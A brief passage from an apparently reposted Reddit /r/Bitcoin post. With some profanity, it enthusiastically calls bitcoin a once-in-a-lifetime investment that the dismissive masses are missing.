motherfucker that sounds like the biggest investment opportunity of a lifetime. Yet thats exactly whats happening with bitcoin and the masses remain completely dismissive.Their loss is our gain. via /r/Bitcoin http://bit.ly/2Tc8Cn8